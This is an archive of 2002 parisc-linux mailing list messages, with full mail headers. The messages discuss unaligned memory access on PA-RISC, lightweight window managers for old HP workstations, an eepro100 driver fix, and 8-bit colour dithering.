References: <3D3815BD0000958D@ocpmta5.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621664 13136 80.91.229.3 (22 Nov 2014 02:01:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:04 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 30 00:30:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id D29D84829; Fri, 30 Aug 2002 00:30:51 -0600 (MDT)
In-Reply-To: Message from jsoe0708@tiscali.be 
   of "Fri, 30 Aug 2002 07:53:41 +0200." <3D3815BD0000958D@ocpmta5.be.tiscali.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15957

jsoe0708@tiscali.be wrote:
> Ah ok but where is located the actual problem (gcc, ld, kernel ?).

the program.

> I am not a computer science engineer and have not enough knowledge
> to understand this problem of unalign access and unalign adress.
> Can you give me some source of information explaining that stuff?

Details for parisc:
	"PA-RISC 2.0 Architecture" by Jerry Kane.
	page 5-11, "Unaligned Data Reference Trap (28)"
	page 7-84, "Load Word"

heh...doesn't define "aligned address" in the Glossary.
The same stuff is in the PA 1.1 Arch books too.

"aligned" means the address of the data falls on a boundary
that is modulo the size of the data. It's more complicated
for a "struct" but the rule applies to any field in a struct.

Examples:
	0x10 is an aligned address for an "int"
	0x12 is an aligned address for a "short" but not an "int".

Got it?

BTW, even though x86 CPUs don't trap on unaligned access,
they do take a performance hit. IIRC, it's one additional cycle.
Under linux, most (all?) RISC CPUs trap and handle the unaligned access
in the kernel trap handler. Other OS's could SIGBUS the application
to kill it.

Hmm...this is interesting:
/usr/include/linux/prctl.h:# define PR_UNALIGN_SIGBUS   2       /* generate SIGBUS on unaligned user access */

Maybe you can figure out how to set this and dig through the
core file instead of trying to set break points.

grant


From - Thu Nov 08 21:24:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ste@tiscali <stemelchior@tiscali.it>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GNOME 1.4
Date: Fri, 30 Aug 2002 08:09:58 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <20020830080958.2f899cc2.stemelchior__31634.1704143726$1416621665$gmane$org@tiscali.it>
References: <1nismusojam12vial5vnqarbmfd8pb8mh7@4ax.com>
	<20020830040829.3BE694829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621665 13141 80.91.229.3 (22 Nov 2014 02:01:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:05 +0000 (UTC)
Cc: alaskan@telusplanet.net, parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 30 00:32:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.it (mail-4.tiscali.it [195.130.225.150])
	by dsl2.external.hp.com (Postfix) with ESMTP id E95284829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 Aug 2002 00:32:48 -0600 (MDT)
Original-Received: from omniste (62.10.1.112) by mail.tiscali.it (6.5.026)
        id 3D6DC7080006DDDB; Fri, 30 Aug 2002 08:32:33 +0200
In-Reply-To: <20020830040829.3BE694829@dsl2.external.hp.com>
X-Mailer: Sylpheed version 0.8.1 (GTK+ 1.2.10; i386-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15958

On Thu, 29 Aug 2002 22:08:29 -0600 Grant Grundler <grundler@dsl2.external.hp.com> wrote: 8-  > alaskan@telusplanet.net wrote:
8-  > > I finally got GNOME 1.4 working on a 712/60,
8-  > ...
8-  > > Its pretty, but slow .   .  . .
8-  > 
8-  > it's not faster on a 486/DX4/75Mhz.
8-  > You really need to use a lighter weight window manager on
8-  > the older boxes. fvwm2 is my current favorite though in this
8-  > case I'd reccomend twm.
8-  > 
8-  > grant

Why not IceWM? on my 710/50 it is running pretty fine and enough fast!!! ;-P
I also like the Infadel2-Overloaded theme!!!

linuxabbestia

<<Unix IS user friendly... It's just selective about who its friends are!>>

 See "User's Guide":     http://www.debian.org/doc/manuals/users-guide/
 See "Debian reference": http://www.debian.org/doc/manuals/debian-reference/
 "Debian reference" Project at: http://qref.sf.net

Please DO NOT send e-mail with any attachment in a "proprietary format", such as either .doc or .ppt, BECAUSE: http://www.fsf.org/philosophy/no-word-attachments.html (the Italian version is available on the following url: http://www.fsf.org/philosophy/no-word-attachments.it.html)
T H A N K S   ;-P


From - Thu Nov 08 21:24:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCI Intel EtherExpressPro100 strangeness on C200 machine.
Date: Fri, 30 Aug 2002 00:37:25 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20020830063725.4D0FD4829@dsl2.external.hp.com>
References: <3D5EB2D6.9090403@charter.net>  <20020817223713.GA25852@gate450.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621665 13143 80.91.229.3 (22 Nov 2014 02:01:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:05 +0000 (UTC)
To: "B. Douglas Hilton" <bdhilton@charter.net>,
	parisc-linux@lists.parisc-linux.org, saw@saw.sw.com.sg
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 30 00:37:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 4D0FD4829; Fri, 30 Aug 2002 00:37:25 -0600 (MDT)
In-Reply-To: Message from Andreas Seltenreich <s_selten@informatik.uni-karlsruhe.de> 
   of "Sun, 18 Aug 2002 00:37:15 +0200." <20020817223713.GA25852@gate450.dyndns.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15959

Andreas Seltenreich wrote:
> just append " || defined(__hppa__)" to line 47 of drivers/net/eepro100.c
> I got mine working that way.

Andreas,
I've just committed this change to 2.4.19-pa8.
Works on my c3000 too.

I wasn't real happy with this method of disabling something we
know doesn't work. The compiler can't optimize it away.
The alternative I was playing with is at
	ftp://ftp.parisc-linux.org/patches/eepro100-rxcopy.diff

but I'm not comfortable committing that since I don't know if
other arches *can't* support it or just prefer it be disabled.

thanks,
grant


From - Thu Nov 08 21:24:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
Date: Fri, 30 Aug 2002 08:42:17 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <3D3815BD000095D1@ocpmta5.be.tiscali.com>
References: <20020830063051.D29D84829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621665 13149 80.91.229.3 (22 Nov 2014 02:01:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:05 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 30 00:49:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC6AE4895
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 Aug 2002 00:49:16 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 30 Aug 2002 08:42:17 +0200
In-Reply-To: <20020830063051.D29D84829@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15960

>-- Original Message --
>To: jsoe0708@tiscali.be
>Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
>	parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
>
>Date: Fri, 30 Aug 2002 00:30:51 -0600
>From: Grant Grundler <grundler@dsl2.external.hp.com>
>
>
>jsoe0708@tiscali.be wrote:
>> Ah ok but where is located the actual problem (gcc, ld, kernel ?).
>
>the program.
>
>> I am not a computer science engineer and have not enough knowledge
>> to understand this problem of unalign access and unalign adress.
>> Can you give me some source of information explaining that stuff?
>
>Details for parisc:
>	"PA-RISC 2.0 Architecture" by Jerry Kane.
>	page 5-11, "Unaligned Data Reference Trap (28)"
>	page 7-84, "Load Word"
>
>heh...doesn't define "aligned address" in the Glossary.
>The same stuff is in the PA 1.1 Arch books too.
>
>"aligned" means the address of the data falls on a boundary
>that is modulo the size of the data. It's more complicated
>for a "struct" but the rule applies to any field in a struct.
>
>Examples:
>	0x10 is an aligned address for an "int"
>	0x12 is an aligned address for a "short" but not an "int".
>
>Got it?
>
>BTW, even though x86 CPUs don't trap on unaligned access,
>they do take a performance hit. IIRC, it's one additional cycle.
>Under linux, most (all?) RISC CPUs trap and handle the unaligned access
>in the kernel trap handler. Other OS's could SIGBUS the application
>to kill it.
>
Thanks a lot for all info 

>Hmm...this is interesting:
>/usr/include/linux/prctl.h:# define PR_UNALIGN_SIGBUS   2       /* generate
>SIGBUS on unaligned user access */
>
>Maybe you can figure out how to set this and dig through the
>core file instead of trying to set break points.
>
Not sure I will reach but i will have look anyway.

Many thanks again,
    Joel



From - Thu Nov 08 21:24:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GNOME 1.4
Date: 30 Aug 2002 12:04:37 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <1030705477.3180.15.camel__38137.0843541392$1416621666$gmane$org@irongate.swansea.linux.org.uk>
References: <1nismusojam12vial5vnqarbmfd8pb8mh7@4ax.com>  
	<20020830040829.3BE694829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621666 13155 80.91.229.3 (22 Nov 2014 02:01:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:06 +0000 (UTC)
Cc: alaskan@telusplanet.net, parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 30 05:05:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc1-cwma1-5-cust128.swa.cable.ntl.com [80.5.120.128])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B5AA4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 Aug 2002 05:05:03 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5) with ESMTP id g7UB4dEe003416;
	Fri, 30 Aug 2002 12:04:39 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5/Submit) id g7UB4b8L003414;
	Fri, 30 Aug 2002 12:04:37 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20020830040829.3BE694829@dsl2.external.hp.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15961

On Fri, 2002-08-30 at 05:08, Grant Grundler wrote:
> it's not faster on a 486/DX4/75Mhz.

Gnome2 is alittle faster

> You really need to use a lighter weight window manager on
> the older boxes. fvwm2 is my current favorite though in this
> case I'd reccomend twm.

The setup I use so I get a 'real desktop' not just old style X window
mangler is xfce for the desktop with the rox filer on top for the file
mangler, icon dock etc.

Its snappy in 24Mb. On an FPUless box build xfce with imlib not
gdk_pixbuf.

I'd guess it would be very nice on an ancient parisc box too because
they pa boxes probably have better I/O



From - Thu Nov 08 21:24:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GNOME 1.4
Date: 30 Aug 2002 12:07:39 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <1030705659.3196.19.camel@irongate.swansea.linux.org.uk>
References: <3D3815BD00009598@ocpmta5.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621666 13157 80.91.229.3 (22 Nov 2014 02:01:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:06 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 30 05:07:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc1-cwma1-5-cust128.swa.cable.ntl.com [80.5.120.128])
	by dsl2.external.hp.com (Postfix) with ESMTP id 399FD4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 Aug 2002 05:07:31 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5) with ESMTP id g7UB7fEe003441;
	Fri, 30 Aug 2002 12:07:41 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5/Submit) id g7UB7d19003439;
	Fri, 30 Aug 2002 12:07:39 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <3D3815BD00009598@ocpmta5.be.tiscali.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15962

On Fri, 2002-08-30 at 07:02, jsoe0708@tiscali.be wrote:
> I also appreciate xfce. Just need more than 8 colors but I read Alan Cox
> mail about hp dither CR technic but do not really how to use this material.
> I some one has already some draft code?

For 8bit desktops just bang the icons through the pnmtools and quantize
them to 16 colours. I do wish X had an RGB332 'truecolour' some times.

That draft code tells you how to dither your images for the display. As
far as I can make out its primarily aimed at 3D rendering, so you can
have fake high quality 3D images (where 8bit banding _really_ ruins the
display) at lower resolution than your desktop




From - Thu Nov 08 21:24:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GNOME 1.4
Date: Fri, 30 Aug 2002 14:25:04 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <3D3815BD000098F6@ocpmta5.be.tiscali.com>
References: <1030705659.3196.19.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621666 13159 80.91.229.3 (22 Nov 2014 02:01:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:06 +0000 (UTC)
Cc: "Grant Grundler" <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: "Alan Cox" <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 30 06:32:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7EA134829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 Aug 2002 06:32:32 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 30 Aug 2002 14:25:04 +0200
In-Reply-To: <1030705659.3196.19.camel@irongate.swansea.linux.org.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15963

>-- Original Message --
>Subject: Re: [parisc-linux] GNOME 1.4
>From: Alan Cox <alan@lxorguk.ukuu.org.uk>
>To: jsoe0708@tiscali.be
>Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
>   parisc-linux@lists.parisc-linux.org
>Date: 30 Aug 2002 12:07:39 +0100
>
>
>On Fri, 2002-08-30 at 07:02, jsoe0708@tiscali.be wrote:
>> I also appreciate xfce. Just need more than 8 colors but I read Alan Cox
>> mail about hp dither CR technic but do not really how to use this material.
>> I some one has already some draft code?
>
>For 8bit desktops just bang the icons through the pnmtools and quantize
>them to 16 colours. I do wish X had an RGB332 'truecolour' some times.
>
>That draft code tells you how to dither your images for the display. As
>far as I can make out its primarily aimed at 3D rendering, so you can
>have fake high quality 3D images (where 8bit banding _really_ ruins the
>display) at lower resolution than your desktop
>
Thanks, I definitely missunderstand the purpose of this code.

My actual question would be how to obtain 128 (and may be more) colors like
CDE or VUE (is X11R6 server like mklinux proposed would help?)


Joel



From - Thu Nov 08 21:24:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James S" <smithjames@comcast.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GNOME 1.4
Date: Fri, 30 Aug 2002 09:38:09 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <003001c25032$dd63fe60$02c1a8c0@james.co.uk>
References: <1nismusojam12vial5vnqarbmfd8pb8mh7@4ax.com> <20020830040829.3BE694829@dsl2.external.hp.com>
Reply-To: "James S" <smithjames@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621666 13162 80.91.229.3 (22 Nov 2014 02:01:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:06 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 30 08:38:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from eightythree.valleybikes.com (valleybikes.com [24.123.22.113])
	by dsl2.external.hp.com (Postfix) with ESMTP id D51EE4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 Aug 2002 08:38:13 -0600 (MDT)
Original-Received: from kenny ([65.199.70.249])
	by eightythree.valleybikes.com (8.12.5/8.12.5/Debian-1) with SMTP id g7UEcAHM028201
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 Aug 2002 09:38:11 -0500
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15964

> alaskan@telusplanet.net wrote:
> > I finally got GNOME 1.4 working on a 712/60,
> ...
> > Its pretty, but slow .   .  . .
>
> it's not faster on a 486/DX4/75Mhz.
> You really need to use a lighter weight window manager on
> the older boxes. fvwm2 is my current favorite though in this
> case I'd reccomend twm.
>
> grant


windowmaker runs well on my 712/60 - & you can run gnome & kde apps under it

James S





From - Thu Nov 08 21:24:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Pacenka <spacenka@lightlink.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Harmony on 710 working?
Date: 30 Aug 2002 12:02:47 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <1030723367.1100.401.camel@romano>
References: <200208292228.QAA23496@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621667 13165 80.91.229.3 (22 Nov 2014 02:01:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 30 10:03:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from romano (romano-nyswri.cfe.cornell.edu [132.236.139.186])
	by dsl2.external.hp.com (Postfix) with ESMTP id EE7114829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 Aug 2002 10:03:39 -0600 (MDT)
Original-Received: from romano by romano with local (Exim 3.35 #1 (Debian))
	id 17koES-0000PL-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 Aug 2002 12:02:48 -0400
In-Reply-To: <200208292228.QAA23496@udlkern.fc.hp.com>
X-Mailer: Ximian Evolution 1.0.5 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
